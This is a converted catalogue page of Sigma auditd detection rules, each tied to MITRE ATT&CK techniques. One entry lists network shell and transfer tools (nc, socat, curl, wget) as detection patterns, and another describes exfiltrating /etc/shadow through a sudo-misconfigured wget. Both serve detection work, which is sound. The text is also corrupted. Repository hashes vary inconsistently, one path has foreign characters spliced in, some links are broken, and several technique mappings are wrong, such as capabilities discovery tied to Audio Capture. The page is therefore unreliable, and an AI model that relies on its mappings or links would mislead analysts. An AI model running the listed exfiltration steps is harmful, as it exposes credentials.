<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html">https://docs.jamf.com/10.30.0/jamf-pro/administrator-guide/Components_Installed_on_Managed_Computers.html</a></td>
</tr>
<tr>
<td><a href="https://www.zoocoup.org/casper/jamf_cheatsheet.pdf">https://www.zoocoup.org/casper/jamf_cheatsheet.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/MythicAgents/typhon/">https://github.com/MythicAgents/typhon/</a></td>
</tr>
</tbody>
</table>

Network Sniffing - MacOs

Detects the usage of tooling to sniff network traffic. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: `misp-galaxy:sigma-rules="Network Sniffing - MacOs"`
Network Sniffing - MacOs has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040" with estimative-language:likelihood-probability="almost-certain"

**Default Credentials Usage**

Before deploying any new asset, change all default passwords to have values consistent with administrative level accounts. Sigma detects default credentials usage. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.

The tag is: *misp-galaxy: sigma-rules="Default Credentials Usage"*

**Host Without Firewall**

Host Without Firewall. Alert means not complied. Sigma for Qualys vulnerability scanner. Scan type - Vulnerability Management.

The tag is: *misp-galaxy: sigma-rules="Host Without Firewall"*
Cleartext Protocol Usage Via Netflow

Ensure that all account usernames and authentication credentials are transmitted across networks using encrypted channels. Ensure that an encryption is used for all sensitive information in transit. Ensure that an encrypted channel is used for all administrative account access.

The tag is: `misp-galaxy:sigma-rules="Cleartext Protocol Usage Via Netflow"`

Table 10821. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.cisecurity.org/controls/cis-controls-list/">https://www.cisecurity.org/controls/cis-controls-list/</a></td>
</tr>
<tr>
<td><a href="https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf">https://www.pcisecuritystandards.org/documents/PCI_DSS_v3-2-1.pdf</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/compliance/netflow_cleartext_protocols.yml</a></td>
</tr>
</tbody>
</table>

OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: `misp-galaxy:sigma-rules="OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd"`

OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"

Table 10822. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure">https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure</a></td>
</tr>
<tr>
<td><a href="https://github.com/Azure/Azure-Sentinel/pull/3059">https://github.com/Azure/Azure-Sentinel/pull/3059</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_omigod_scx_runasprovider_executeshellcommand.yml</a></td>
</tr>
</tbody>
</table>

6717
Use Of Hidden Paths Or Files

Detects calls to hidden files or files located in hidden directories in NIX systems.

The tag is: `misp-galaxy:sigma-rules="Use Of Hidden Paths Or Files"`

View relationships graph

Use Of Hidden Paths Or Files has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 10823. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_binary_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_hidden_binary_execution.yml</a></td>
</tr>
</tbody>
</table>

File or Folder Permissions Change

Detects file and folder permission changes.

The tag is: `misp-galaxy:sigma-rules="File or Folder Permissions Change"`

View relationships graph

File or Folder Permissions Change has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002"` with estimative-language:likelihood-probability="almost-certain"

Table 10824. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffedd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_file_or_folder_permissions.yml</a></td>
</tr>
</tbody>
</table>

Logging Configuration Changes on Linux Host

Detect changes of syslog daemons configuration files

The tag is: `misp-galaxy:sigma-rules="Logging Configuration Changes on Linux Host"`

View relationships graph
Logging Configuration Changes on Linux Host has relationships with:


Table 10825. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>self experience[</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_logging_config_change.yml</a></td>
</tr>
</tbody>
</table>

**Systemd Service Creation**

Detects a creation of systemd services which could be used by adversaries to execute malicious code.

The tag is: misp-galaxy:sigma-rules="Systemd Service Creation"

View relationships graph

Systemd Service Creation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002" with estimative-language:likelihood-probability="almost-certain"

Table 10826. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6fcd3742bf6f365fee2a9/atomics/T1543.002/T1543.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd6fcd3742bf6f365fee2a9/atomics/T1543.002/T1543.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_systemd_service_creation.yml</a></td>
</tr>
</tbody>
</table>

**BPFDoor Abnormal Process ID or Lock File Accessed**

detects BPFDoor .lock and .pid files access in temporary file storage facility

The tag is: misp-galaxy:sigma-rules="BPFDoor Abnormal Process ID or Lock File Accessed"

View relationships graph

BPFDoor Abnormal Process ID or Lock File Accessed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
**Audio Capture**

Detects attempts to record audio with arecord utility

The tag is: *misp-galaxy:sigma-rules="Audio Capture"*

**View relationships graph**

Audio Capture has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"* with estimative-language:likelihood-probability="almost-certain"

---

**Credentials In Files - Linux**

Detecting attempts to extract passwords with grep

The tag is: *misp-galaxy:sigma-rules="Credentials In Files - Linux"*

**View relationships graph**

Credentials In Files - Linux has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"* with estimative-language:likelihood-probability="almost-certain"
### Binary Padding - Linux

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detects using `dd` and `truncate` to add a junk data to file.

The tag is: `misp-galaxy:sigma-rules="Binary Padding - Linux"`

View relationships graph

Binary Padding - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10830. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcd3742bfcf365fee2a9/atomics/T1027.001/T1027.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_binary_padding.yml</a></td>
</tr>
</tbody>
</table>

### Steganography Hide Files with Steghide

Detects embedding of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

The tag is: `misp-galaxy:sigma-rules="Steganography Hide Files with Steghide"`

View relationships graph

Steganography Hide Files with Steghide has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10831. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Links</strong></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_embed_steganography.yml</a></td>
</tr>
</tbody>
</table>

### System Owner or User Discovery

Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: `misp-galaxy:sigma-rules="System Owner or User Discovery"`
**Suspicious C2 Activities**

Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands: `wget`, `curl`, `base64`, `nc`, `netcat`, `ncat`, `ssh`, `socat`, `wireshark`, `rawshark`, `rdesktop`, `nmap`. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)

The tag is: *misp-galaxy:sigma-rules="Suspicious C2 Activities"*

**Clipboard Collection with Xclip Tool - Auditd**

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: *misp-galaxy:sigma-rules="Clipboard Collection with Xclip Tool - Auditd"*

View relationships graph

Clipboard Collection with Xclip Tool - Auditd has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"* with estimative-language:likelihood-probability="almost-certain"

*Table 10833. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/Neo23x0/auditd">https://github.com/Neo23x0/auditd</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_c2_commands.yml</a></td>
</tr>
</tbody>
</table>
Steganography Extract Files with Steghide

Detects extraction of files with usage of steghide binary, the adversaries may use this technique to prevent the detection of hidden information.

The tag is: `misp-galaxy:sigma-rules="Steganography Extract Files with Steghide"`

View relationships graph

Steganography Extract Files with Steghide has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10835. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_steghide_extract_steganography.yml

Loading of Kernel Module via Insmod

Detects loading of kernel modules with insmod command. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. Adversaries may use LKMs to obtain persistence within the system or elevate the privileges.

The tag is: `misp-galaxy:sigma-rules="Loading of Kernel Module via Insmod"`

View relationships graph

Loading of Kernel Module via Insmod has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Kernel Modules and Extensions - T1547.006"` with estimative-language:likelihood-probability="almost-certain"

Table 10836. Table References

Links

- https://linux.die.net/man/8/insmod
Webshell Remote Command Execution

Detects possible command execution by web application/web shell

The tag is: `misp-galaxy:sigma-rules="Webshell Remote Command Execution"`

View relationships graph

Webshell Remote Command Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10837. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td>Personal Experience of the Author[Personal Experience of the Author]</td>
</tr>
</tbody>
</table>

Unix Shell Configuration Modification

Detects unix shell configuration modification. Adversaries may establish persistence through executing malicious commands triggered when a new shell is opened.

The tag is: `misp-galaxy:sigma-rules="Unix Shell Configuration Modification"`

View relationships graph

Unix Shell Configuration Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unix Shell Configuration Modification - T1546.004" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10838. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://objective-see.org/blog/blog_0x68.html">https://objective-see.org/blog/blog_0x68.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unix_shell_configuration_modification.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx审计unix_shell_configuration_modification.yml</a></td>
</tr>
</tbody>
</table>
Screen Capture with Import Tool

Detects adversary creating screen capture of a desktop with Import Tool. Highly recommended using rule on servers, due to high usage of screenshot utilities on user workstations. ImageMagick must be installed.

The tag is: `misp-galaxy:sigma-rules="Screen Capture with Import Tool"`

View relationships graph

Screen Capture with Import Tool has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 10839. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://imagemagick.org/">https://imagemagick.org/</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7d0fdd3742bfcf365fee2a9/atomics/T1113/T1113.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7d0fdd3742bfcf365fee2a9/atomics/T1113/T1113.md</a></td>
</tr>
<tr>
<td><a href="https://linux.die.net/man/1/import">https://linux.die.net/man/1/import</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_screencapture_import.yml</a></td>
</tr>
</tbody>
</table>

Disable System Firewall

Detects disabling of system firewalls which could be used by adversaries to bypass controls that limit usage of the network.

The tag is: `misp-galaxy:sigma-rules="Disable System Firewall"`

View relationships graph

Disable System Firewall has relationships with:

- `related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004" with estimative-language:likelihood-probability="almost-certain"

Table 10840. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7d0fdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f7d0fdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_disable_system_firewall.yml</a></td>
</tr>
</tbody>
</table>
**Steganography Unzip Hidden Information From Picture File**

Detects extracting of zip file from image file

The tag is: `misp-galaxy:sigma-rules="Steganography Unzip Hidden Information From Picture File"`

**View relationships graph**

Steganography Unzip Hidden Information From Picture File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steganography - T1027.003"` with estimative-language:likelihood-probability="almost-certain"

**Table 10841. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/">https://zerotoroot.me/steganography-hiding-a-zip-in-a-jpeg-file/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_unzip_hidden_zip_files_steganography.yml</a></td>
</tr>
</tbody>
</table>

**Linux Capabilities Discovery**

Detects attempts to discover the files with setuid/setgid capability on them. That would allow adversary to escalate their privileges.

The tag is: `misp-galaxy:sigma-rules="Linux Capabilities Discovery"`

**View relationships graph**

Linux Capabilities Discovery has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Audio Capture - T1123"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"` with estimative-language:likelihood-probability="almost-certain"

**Table 10842. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mn3m.info/posts/suid-vs-capabilities/">https://mn3m.info/posts/suid-vs-capabilities/</a></td>
</tr>
<tr>
<td><a href="https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099">https://int0x33.medium.com/day-44-linux-capabilities-privilege-escalation-via-openssl-with-selinux-enabled-and-enforced-74d2bec02099</a></td>
</tr>
<tr>
<td><a href="https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/">https://www.hackingarticles.in/linux-privilege-escalation-using-capabilities/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_capabilities_discovery.yml</a></td>
</tr>
</tbody>
</table>

6726
System and Hardware Information Discovery

Detects system information discovery commands

The tag is: `misp-galaxy:sigma-rules="System and Hardware Information Discovery"`

View relationships graph

System and Hardware Information Discovery has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-language:likelihood-probability="almost-certain"

Table 10843. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcc374f0bc365yee2a9/atomic/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdffcc374f0bc365yee2a9/atomic/T1082/T1082.md#atomic-test-4---linux-vm-check-via-hardware</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discove">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_system_info_discove</a> ry2.yml</td>
</tr>
</tbody>
</table>

Modify System Firewall

Detects the removal of system firewall rules. Adversaries may only delete or modify a specific system firewall rule to bypass controls limiting network usage or access. Detection rules that match only on the disabling of firewalls will miss this.

The tag is: `misp-galaxy:sigma-rules="Modify System Firewall"`

View relationships graph

Modify System Firewall has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify System Firewall - T1562.004"` with estimative-language:likelihood-probability="almost-certain"

Table 10844. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blog.aquasec.com/container-security-tnt-container-attack">https://blog.aquasec.com/container-security-tnt-container-attack</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_modidy_system_fire">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_modidy_system_fire</a> wall.yml</td>
</tr>
</tbody>
</table>

Auditing Configuration Changes on Linux Host

Detect changes in auditd configuration files
The tag is: `misp-galaxy:sigma-rules="Auditing Configuration Changes on Linux Host"`

View relationships graph

Auditing Configuration Changes on Linux Host has relationships with:


### Table 10845. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Self Experience[Self Experience]</td>
</tr>
<tr>
<td><a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_auditing_config_change.yml</a></td>
</tr>
</tbody>
</table>

**Modification of ld.so.preload**

Identifies modification of ld.so.preload for shared object injection. This technique is used by attackers to load arbitrary code into processes.

The tag is: `misp-galaxy:sigma-rules="Modification of ld.so.preload"`

View relationships graph

Modification of ld.so.preload has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Dynamic Linker Hijacking - T1574.006"` with estimative-language:likelihood-probability="almost-certain"

### Table 10846. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html">https://eqllib.readthedocs.io/en/latest/analytics/fd9b987a-1101-4ed3-bda6-a70300eaf57e.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bfcf365fee2a9/atomics/T1574.006/T1574.006.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_ld_so_preload_mod.yml</a></td>
</tr>
</tbody>
</table>

**Masquerading as Linux Crond Process**

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

The tag is: `misp-galaxy:sigma-rules="Masquerading as Linux Crond Process"`
Masquerading as Linux Crond Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Steganography Hide Zip Information in Picture File

Detects appending of zip file to image

The tag is: misp-galaxy:sigma-rules="Steganography Hide Zip Information in Picture File"

Steganography Hide Zip Information in Picture File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Suspicious History File Operations - Linux

Detects commandline operations on shell history files

The tag is: misp-galaxy:sigma-rules="Suspicious History File Operations - Linux"

Suspicious History File Operations - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"
Table 10849. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1552.003/T1552.003.md

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_susp_histfile_operations.yml

**File Time Attribute Change - Linux**

Detect file time attribute change to hide new or changes to existing files.

The tag is: *misp-galaxy:sigma-rules=*"File Time Attribute Change - Linux"

View relationships graph

File Time Attribute Change - Linux has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"

Table 10850. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3742bfcf365fee2a9/atomics/T1070.006/T1070.006.md

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_change_file_time_attribute.yml

**Possible Coin Miner CPU Priority Param**

Detects command line parameter very often used with coin miners

The tag is: *misp-galaxy:sigma-rules=*"Possible Coin Miner CPU Priority Param"

View relationships graph

Possible Coin Miner CPU Priority Param has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"

Table 10851. Table References

Links

https://xmrig.com/docs/miner/command-line-options

https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_coinminer.yml
**Network Sniffing - Linux**

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: `misp-galaxy:sigma-rules="Network Sniffing - Linux"`

**View relationships graph**

Network Sniffing - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="almost-certain"

**Table 10852. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1040/T1040.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcc3742bfcf365fee2a9/atomics/T1040/T1040.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_network_sniffing.yml</a></td>
</tr>
</tbody>
</table>

**Data Exfiltration with Wget**

Detects attempts to post the file with the usage of wget utility. The adversary can bypass the permission restriction with the misconfigured sudo permission for wget utility which could allow them to read files like `/etc/shadow`.

The tag is: `misp-galaxy:sigma-rules="Data Exfiltration with Wget"`

**View relationships graph**

Data Exfiltration with Wget has relationships with:


**Table 10853. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://linux.die.net/man/1/wget">https://linux.die.net/man/1/wget</a></td>
</tr>
<tr>
<td><a href="https://gtfobins.github.io/gtfobins/wget/">https://gtfobins.github.io/gtfobins/wget/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_data_exfil_wget.yml</a></td>
</tr>
</tbody>
</table>
Systemd Service Reload or Start

Detects a reload or a start of a service.

The tag is: `misp-galaxy:sigma-rules="Systemd Service Reload or Start"`

View relationships graph

Systemd Service Reload or Start has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Systemd Service - T1543.002"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10854. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd/cc3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd/cc3742bfcf365fee2a9/atomics/T1543.002/T1543.002.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/linux/auditd/lnx_auditd_pers_systemd_reload.yml</a></td>
</tr>
</tbody>
</table>

Split A File Into Pieces - Linux

Detection use of the command "split" to split files into parts and possible transfer.

The tag is: `misp-galaxy:sigma-rules="Split A File Into Pieces - Linux"`

View relationships graph

Split A File Into Pieces - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"` with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 10855. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd/cc3742bfcf365fee2a9/atomics/T1030/T1030.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fd/cc3742bfcf365fee2a9/atomics/T1030/T1030.md</a></td>
</tr>
<tr>
